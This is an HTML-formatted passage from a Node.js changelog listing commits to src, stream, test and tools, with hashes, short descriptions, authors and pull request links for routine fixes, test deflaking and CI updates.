<li>[<a href="https://github.com/nodejs/node/commit/8353a6da2a"><code>8353a6da2a</code></a>] - <strong>src</strong>: avoid C strings in more C++ exception throws (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/60592" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60592/hovercard">#60592</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27c860c51f"><code>27c860c51f</code></a>] - <strong>src</strong>: move <code>napi_addon_register_func</code> to <code>node_api_types.h</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/60512" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60512/hovercard">#60512</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0517752e7"><code>e0517752e7</code></a>] - <strong>src</strong>: remove unconditional NAPI_EXPERIMENTAL in node.h (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60345" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60345/hovercard">#60345</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/21e2a52f8e"><code>21e2a52f8e</code></a>] - <strong>src</strong>: clean up generic counter implementation (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/60447" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60447/hovercard">#60447</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aed23cb8ca"><code>aed23cb8ca</code></a>] - <strong>src</strong>: add enum handle for ToStringHelper + formatting (Burkov Egor) <a href="https://github.com/nodejs/node/pull/56829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56829/hovercard">#56829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e93650ebc"><code>2e93650ebc</code></a>] - <strong>src</strong>: fix timing of snapshot serialize callback (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60434" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60434/hovercard">#60434</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ece4acc18f"><code>ece4acc18f</code></a>] - <strong>src</strong>: add COUNT_GENERIC_USAGE utility for tests (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60434" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60434/hovercard">#60434</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31c8e9d9ff"><code>31c8e9d9ff</code></a>] - <strong>src</strong>: use cached primordials_string (Sohyeon Kim) <a href="https://github.com/nodejs/node/pull/60255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60255/hovercard">#60255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f0ffddc14"><code>7f0ffddc14</code></a>] - <strong>src</strong>: implement Windows-1252 encoding support and update related tests (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/60893" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60893/hovercard">#60893</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c2ba56d6b2"><code>c2ba56d6b2</code></a>] - <strong>src,permission</strong>: fix permission.has on empty param (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60674/hovercard">#60674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e55a2b895a"><code>e55a2b895a</code></a>] - <strong>src,permission</strong>: add debug log on is_tree_granted (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60668/hovercard">#60668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/902a78b43c"><code>902a78b43c</code></a>] - <strong>stream</strong>: fix isErrored/isWritable for WritableStreams (René) <a href="https://github.com/nodejs/node/pull/60905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60905/hovercard">#60905</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/221b77cf41"><code>221b77cf41</code></a>] - <strong>stream</strong>: don't try to read more if reading (Robert Nagy) <a href="https://github.com/nodejs/node/pull/60454" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60454/hovercard">#60454</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46d12d826f"><code>46d12d826f</code></a>] - <strong>test</strong>: skip strace test with shared openssl (Richard Lau) <a href="https://github.com/nodejs/node/pull/61987" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61987/hovercard">#61987</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/52e6b01a44"><code>52e6b01a44</code></a>] - <strong>test</strong>: mark <code>test-strace-openat-openssl</code> as flaky (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61921" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61921/hovercard">#61921</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d7468d0e0"><code>4d7468d0e0</code></a>] - <strong>test</strong>: skip --build-sea tests on platforms where SEA is flaky (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61504/hovercard">#61504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f604b7ae67"><code>f604b7ae67</code></a>] - <strong>test</strong>: fix flaky debugger test (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/58324" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58324/hovercard">#58324</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fc2dc4024b"><code>fc2dc4024b</code></a>] - <strong>test</strong>: ensure removeListener event fires for once() listeners (sangwook) <a href="https://github.com/nodejs/node/pull/60137" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60137/hovercard">#60137</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5fba382816"><code>5fba382816</code></a>] - <strong>test</strong>: delay writing the files only on macOS (Luigi Pinca) <a href="https://github.com/nodejs/node/pull/61532" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61532/hovercard">#61532</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85cc9e20e4"><code>85cc9e20e4</code></a>] - <strong>test</strong>: asserts that import.meta.resolve invokes sync loader hooks (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61158/hovercard">#61158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/13831685ca"><code>13831685ca</code></a>] - <strong>test</strong>: check util.parseArgs argv parsing with actual process execution (René) <a href="https://github.com/nodejs/node/pull/61089" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61089/hovercard">#61089</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec4b722cb8"><code>ec4b722cb8</code></a>] - <strong>test</strong>: remove unneccessary repl magic_mode tests (Dario Piotrowicz) <a href="https://github.com/nodejs/node/pull/61053" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61053/hovercard">#61053</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c811106bc"><code>5c811106bc</code></a>] - <strong>test</strong>: skip sea tests on riscv64 (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/61111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61111/hovercard">#61111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e4a631c07"><code>4e4a631c07</code></a>] - <strong>test</strong>: mark stringbytes-external-max flaky on AIX (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/60995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60995/hovercard">#60995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9af0787043"><code>9af0787043</code></a>] - <strong>test</strong>: update test426 fixtures (Rich Trott) <a href="https://github.com/nodejs/node/pull/60982" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60982/hovercard">#60982</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/277f16d247"><code>277f16d247</code></a>] - <strong>test</strong>: skip SEA inspect test if inspector is not available (Livia Medeiros) <a href="https://github.com/nodejs/node/pull/60872" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60872/hovercard">#60872</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7dfa8c96bf"><code>7dfa8c96bf</code></a>] - <strong>test</strong>: use <code>assert.match</code> for non-literal regexp tests (René) <a href="https://github.com/nodejs/node/pull/60879" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60879/hovercard">#60879</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/41e6cd8ce5"><code>41e6cd8ce5</code></a>] - <strong>test</strong>: fix embedtest in debug windows (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/60806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60806/hovercard">#60806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f65147b226"><code>f65147b226</code></a>] - <strong>test</strong>: fix debug test crashes caused by sea tests (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/60807" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60807/hovercard">#60807</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a93dff9e92"><code>a93dff9e92</code></a>] - <strong>test</strong>: replace deprecated regex test assertions in http trailers test (Aditya Chopra) <a href="https://github.com/nodejs/node/pull/60831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60831/hovercard">#60831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f90d5b954f"><code>f90d5b954f</code></a>] - <strong>test</strong>: prefer major GC in cppgc-object teardown (sangwook) <a href="https://github.com/nodejs/node/pull/60672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60672/hovercard">#60672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1645cc78d"><code>e1645cc78d</code></a>] - <strong>test</strong>: skip test that cause timeout on IBM i (SRAVANI GUNDEPALLI) <a href="https://github.com/nodejs/node/pull/60700" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60700/hovercard">#60700</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f23eba22f"><code>4f23eba22f</code></a>] - <strong>test</strong>: limit the concurrency of WPTRunner for RISC-V (Levi Zim) <a href="https://github.com/nodejs/node/pull/60591" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60591/hovercard">#60591</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c2bef6522b"><code>c2bef6522b</code></a>] - <strong>test</strong>: fix test-strace-openat-openssl for RISC-V (Levi Zim) <a href="https://github.com/nodejs/node/pull/60588" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60588/hovercard">#60588</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c03a7f864"><code>4c03a7f864</code></a>] - <strong>test</strong>: fix status when compiled without inspector (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60289" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60289/hovercard">#60289</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ef146a074"><code>2ef146a074</code></a>] - <strong>test</strong>: apply a delay to <code>watch-mode-kill-signal</code> tests (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60610" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60610/hovercard">#60610</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc3000c504"><code>dc3000c504</code></a>] - <strong>test</strong>: async iife in repl (Tony Gorez) <a href="https://github.com/nodejs/node/pull/44878" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/44878/hovercard">#44878</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e06e84db1"><code>5e06e84db1</code></a>] - <strong>test</strong>: parallelize sea tests when there's enough disk space (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60604" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60604/hovercard">#60604</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/940d2752bc"><code>940d2752bc</code></a>] - <strong>test</strong>: only show overridden env in child process failures (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60556/hovercard">#60556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/558a5743c6"><code>558a5743c6</code></a>] - <strong>test</strong>: add more logs to test-esm-loader-hooks-inspect-wait (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60466" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60466/hovercard">#60466</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10fac8de45"><code>10fac8de45</code></a>] - <strong>test</strong>: mark stringbytes-external-exceed-max tests as flaky on AIX (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60565" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60565/hovercard">#60565</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8bc84046be"><code>8bc84046be</code></a>] - <strong>test</strong>: correct conditional secure heap flags test (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/60385" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60385/hovercard">#60385</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ccc805f184"><code>ccc805f184</code></a>] - <strong>test</strong>: fix flaky test-watch-mode-kill-signal-* (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60443" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60443/hovercard">#60443</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b8274453d"><code>1b8274453d</code></a>] - <strong>test</strong>: capture stack trace in debugger timeout errors (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60457/hovercard">#60457</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9fcf889279"><code>9fcf889279</code></a>] - <strong>test</strong>: ensure assertions are reachable in <code>test/async-hooks</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60150" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60150/hovercard">#60150</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f5230333e"><code>7f5230333e</code></a>] - <strong>test</strong>: increase debugger waitFor timeout on macOS (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60367/hovercard">#60367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0e5ea3b795"><code>0e5ea3b795</code></a>] - <strong>test</strong>: fix small compile warning in test_network_requests_buffer.cc (xiaocainiao633) <a href="https://github.com/nodejs/node/pull/60281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60281/hovercard">#60281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/012780c7e8"><code>012780c7e8</code></a>] - <strong>test</strong>: split test-runner-watch-mode-kill-signal (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60298/hovercard">#60298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b53d35a8f8"><code>b53d35a8f8</code></a>] - <strong>test</strong>: fix incorrect calculation in test-perf-hooks.js (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60271/hovercard">#60271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b8ef464c08"><code>b8ef464c08</code></a>] - <strong>test</strong>: skip sea tests on x64 macOS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60250" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60250/hovercard">#60250</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a3c4d905da"><code>a3c4d905da</code></a>] - <strong>test</strong>: move sea tests into test/sea (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60250" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60250/hovercard">#60250</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80bec9fd07"><code>80bec9fd07</code></a>] - <strong>test</strong>: skip tests that cause timeouts on IBM i (SRAVANI GUNDEPALLI) <a href="https://github.com/nodejs/node/pull/60148" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60148/hovercard">#60148</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d05b44c7c"><code>1d05b44c7c</code></a>] - <strong>test</strong>: deflake test-fs-promises-watch-iterator (Luigi Pinca) <a href="https://github.com/nodejs/node/pull/60060" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60060/hovercard">#60060</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8958096840"><code>8958096840</code></a>] - <strong>test</strong>: deflake <code>test-repl-paste-big-data</code> (Livia Medeiros) <a href="https://github.com/nodejs/node/pull/60975" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60975/hovercard">#60975</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e261a59ca4"><code>e261a59ca4</code></a>] - <strong>test</strong>: add new <code>startNewREPLSever</code> testing utility (Dario Piotrowicz) <a href="https://github.com/nodejs/node/pull/59964" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59964/hovercard">#59964</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d4a2d8aa8a"><code>d4a2d8aa8a</code></a>] - <strong>test</strong>: skip failing tests when compiled without amaro (Yuki Okita) <a href="https://github.com/nodejs/node/pull/60815" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60815/hovercard">#60815</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0e407a88bb"><code>0e407a88bb</code></a>] - <strong>test</strong>: skip failing test on macOS 15.7+ (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60419" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60419/hovercard">#60419</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a253b7b6dc"><code>a253b7b6dc</code></a>] - <strong>tools</strong>: switch to ARM runners on GHA jobs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61903" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61903/hovercard">#61903</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8862c41494"><code>8862c41494</code></a>] - <strong>tools</strong>: avoid building twice in coverage jobs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61899/hovercard">#61899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d11a22802"><code>7d11a22802</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61759" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61759/hovercard">#61759</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0e7d6cb89"><code>d0e7d6cb89</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61734" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61734/hovercard">#61734</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf5ddd1811"><code>cf5ddd1811</code></a>] - <strong>tools</strong>: use ubuntu-latest runner in <code>notify-on-push</code> workflow (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61742" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61742/hovercard">#61742</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/18bcf8e260"><code>18bcf8e260</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in meta GitHub Actions (Tierney Cyren) <a href="https://github.com/nodejs/node/pull/61663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61663/hovercard">#61663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db76733b55"><code>db76733b55</code></a>] - <strong>tools</strong>: update gyp-next to 0.21.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61528" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61528/hovercard">#61528</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1dd9d8a3b2"><code>1dd9d8a3b2</code></a>] - <strong>tools</strong>: fix vcbuild lint-js-build (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/61318" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61318/hovercard">#61318</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec67f8f9b5"><code>ec67f8f9b5</code></a>] - <strong>tools</strong>: only report commit validation failure on Slack (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61124" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61124/hovercard">#61124</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e385c8c66"><code>8e385c8c66</code></a>] - <strong>tools</strong>: use sparse-checkout in linter jobs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61123" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61123/hovercard">#61123</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aed2e9c8eb"><code>aed2e9c8eb</code></a>] - <strong>tools</strong>: simplify <code>notify-on-push</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61050/hovercard">#61050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32680feefb"><code>32680feefb</code></a>] - <strong>tools</strong>: fix update-nghttp2 signature verification (Richard Lau) <a href="https://github.com/nodejs/node/pull/61035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61035/hovercard">#61035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c5f68f41e6"><code>c5f68f41e6</code></a>] - <strong>tools</strong>: improve log output of <code>create-release-proposal</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61028" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61028/hovercard">#61028</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32e0ae0ec7"><code>32e0ae0ec7</code></a>] - <strong>tools</strong>: fix <code>vcbuild test</code> when path contain spaces (stduhpf) <a href="https://github.com/nodejs/node/pull/56481" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56481/hovercard">#56481</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e0858e4a2"><code>9e0858e4a2</code></a>] - <strong>tools</strong>: do not run <code>test-linux</code> workflow for changes on <code>vcbuild.bat</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60979" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60979/hovercard">#60979</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd656a79fc"><code>fd656a79fc</code></a>] - <strong>tools</strong>: disable some new cpplint rules before update (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60901/hovercard">#60901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df4df52e67"><code>df4df52e67</code></a>] - <strong>tools</strong>: don't fetch V8 deps in the source tree (Richard Lau) <a href="https://github.com/nodejs/node/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60883/hovercard">#60883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5c2fe8d6d"><code>e5c2fe8d6d</code></a>] - <strong>tools</strong>: add temporal updater (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60828/hovercard">#60828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f031e097e"><code>7f031e097e</code></a>] - <strong>tools</strong>: dump config.gypi as json (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60794/hovercard">#60794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e69488a5a"><code>5e69488a5a</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.0 to 4.1.1 in /tools/lint-md (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60781" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60781/hovercard">#60781</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5119c50931"><code>5119c50931</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.0 to 4.1.1 in /tools/doc in the doc group (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60766" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60766/hovercard">#60766</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a4b073123d"><code>a4b073123d</code></a>] - <strong>tools</strong>: remove unsupported <code>cooldown</code> from Dependabot config (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60747/hovercard">#60747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a3df6b87bb"><code>a3df6b87bb</code></a>] - <strong>tools</strong>: update sccache to v0.12.0 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60723" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60723/hovercard">#60723</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2efbd54a4a"><code>2efbd54a4a</code></a>] - <strong>tools</strong>: update gyp-next to 0.21.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60645" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60645/hovercard">#60645</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb7876e4f9"><code>bb7876e4f9</code></a>] - <strong>tools</strong>: replace invalid expression in dependabot config (Riddhi) <a href="https://github.com/nodejs/node/pull/60649" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60649/hovercard">#60649</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e444e44d6a"><code>e444e44d6a</code></a>] - <strong>tools</strong>: skip unaffected GHA jobs for changes in <code>test/internet</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60517" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60517/hovercard">#60517</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a6a0ec107c"><code>a6a0ec107c</code></a>] - <strong>tools</strong>: do not use short hashes for deps versioning to avoid collision (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60407" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60407/hovercard">#60407</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c6e2eed65f"><code>c6e2eed65f</code></a>] - <strong>tools</strong>: fix update-icu script (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60521" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60521/hovercard">#60521</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/76fb3d123b"><code>76fb3d123b</code></a>] - <strong>tools</strong>: fix linter for semver-major release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60481" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60481/hovercard">#60481</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f02889e24e"><code>f02889e24e</code></a>] - <strong>tools</strong>: fix failing release-proposal linter for LTS transitions (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60465" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60465/hovercard">#60465</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8203df4432"><code>8203df4432</code></a>] - <strong>tools</strong>: remove undici from daily wpt.fyi job (Filip Skokan) <a href="https://github.com/nodejs/node/pull/60444" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60444/hovercard">#60444</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a58242b666"><code>a58242b666</code></a>] - <strong>tools</strong>: add lint rule to ensure assertions are reached (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60125" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60125/hovercard">#60125</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58e3ef398f"><code>58e3ef398f</code></a>] - <strong>tools</strong>: update gyp-next to 0.20.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60313" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60313/hovercard">#60313</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/996494482a"><code>996494482a</code></a>] - <strong>tools</strong>: optimize wildcard execution in tools/test.py (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60266" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60266/hovercard">#60266</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf84756d0d"><code>cf84756d0d</code></a>] - <strong>tools</strong>: use cooldown property correctly (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60134" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60134/hovercard">#60134</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5469cb2651"><code>5469cb2651</code></a>] - <strong>tools</strong>: validate release commit diff as part of <code>lint-release-proposal</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61440" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61440/hovercard">#61440</a></li>
